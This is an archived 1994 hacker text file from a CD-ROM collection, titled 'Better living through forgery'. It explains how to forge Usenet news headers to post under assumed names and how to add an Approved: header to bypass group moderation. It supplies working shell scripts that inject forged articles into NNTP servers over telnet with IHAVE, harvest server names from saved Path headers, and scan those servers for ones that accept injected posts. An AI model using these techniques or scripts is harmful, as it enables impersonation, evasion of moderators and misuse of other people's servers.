home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / forgenws.txt < prev    next >
Encoding:
Internet Message Format  |  2003-06-11  |  3.5 KB

  1. Subject: Better living through forgery
  2. Date: Wed Aug 17 22:37:09 1994
  3.  
  4.         Anonymous netnews without "anonymous" remailers
  5.  
  6. Save any news article to a file.  We'll call it "hak" in this example.
  7.  
  8. Edit hak, and remove any header lines of the form
  9.  
  10.         From some!random!path!user   (note: "From ", not "From: " !!)
  11.         Article:
  12.         Lines:
  13.         
  14. Shorten the Path: header down to its LAST two or three "bangized" components. 
  15. This is to make the article look like it was posted from where it really was
  16. posted, and originally hit the net at or near the host you send it to.  Or
  17. you can construct a completely new Path: line to reflect your assumed alias.
  18.  
  19. Make some change to the Message-ID: field, that isn't likely to be
  20. duplicated anywhere.  This is usually best done by adding a couple of
  21. random characters to the part before the @, since news posting programs
  22. generally use a fixed-length field to generate these IDs.
  23.  
  24. Change the other headers to say what you like -- From:, Newsgroups:,
  25. Sender:, etc.  Replace the original message text with your message.
  26. If you are posting to a moderated group, remember to put in an Approved:
  27. header to bypass the moderation mechanism.
  28.  
  29. Write out the changed file, and send it to your favorite NNTP server that
  30. permits transfers via the IHAVE command, using the following script:
  31.  
  32. =======================
  33. #! /bin/sh
  34. ## Post an article via IHAVE.
  35. ## args: filename server
  36.  
  37. if test "$2" = "" ; then
  38.   echo usage: $0 filename server
  39.   exit 1
  40. fi
  41. if test ! -f $1 ; then
  42.   echo $1: not found
  43.   exit 1
  44. fi
  45.  
  46. # suck msg-id out of headers, keep the brackets
  47. msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
  48.   sed 's/.*-[Ii][Dd]: //'`
  49. echo $msgid
  50.  
  51. ( sleep 5
  52.   echo IHAVE $msgid
  53.   sleep 3
  54.   cat $1
  55.   sleep 1
  56.   echo "."
  57.   sleep 1
  58.   echo QUIT ) | telnet $2 119
  59. =======================
  60.  
  61. If your article doesn't appear in a day or two, try a different server.
  62. They are easy to find.  Here's a script that will break a large file
  63. full of saved netnews into a list of hosts to try.  Edit the output
  64. of this if you want, to remove obvious peoples' names and other trash.
  65.  
  66. =======================
  67. #! /bin/sh
  68. FGV='fgrep -i -v'
  69. egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
  70. /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
  71. =======================
  72.  
  73. Once you have your host list, feed it to the following script.
  74.  
  75. =======================
  76. #! /bin/sh
  77.  
  78. while read xx ; do
  79. if test "$xx" = "" ; then continue;
  80. fi
  81. echo === $xx
  82. ( echo open $xx 119
  83.   sleep 5
  84.   echo ihave k00l@x.edu
  85.   sleep 4
  86.   echo .
  87.   echo quit
  88.   sleep 1
  89.   echo quit
  90. ) | telnet
  91. done
  92. =======================
  93.  
  94. If the above script is called "findem" and you're using csh, you should do
  95.  
  96.         findem < list >& outfile
  97.  
  98. so that ALL output from telnet is captured.  This takes a long time, but when
  99. it finishes, edit "outfile" and look for occurrences of "335".  These mark
  100. answers from servers that might be willing to accept an article.  This isn't a
  101. completely reliable indication, since some servers respond with acceptance and
  102. later drop articles.  Try a given server with a slightly modified repeat of
  103. someone else's message, and see if it eventually appears.
  104.  
  105. You will notice other servers that don't necessarily take an IHAVE, but
  106. say "posting ok".  You can probably do regular POSTS through these, but they
  107. will add an "NNTP-Posting-Host: " header containing the machine YOU came from.
  108.  
  109. -------------------------------
  110.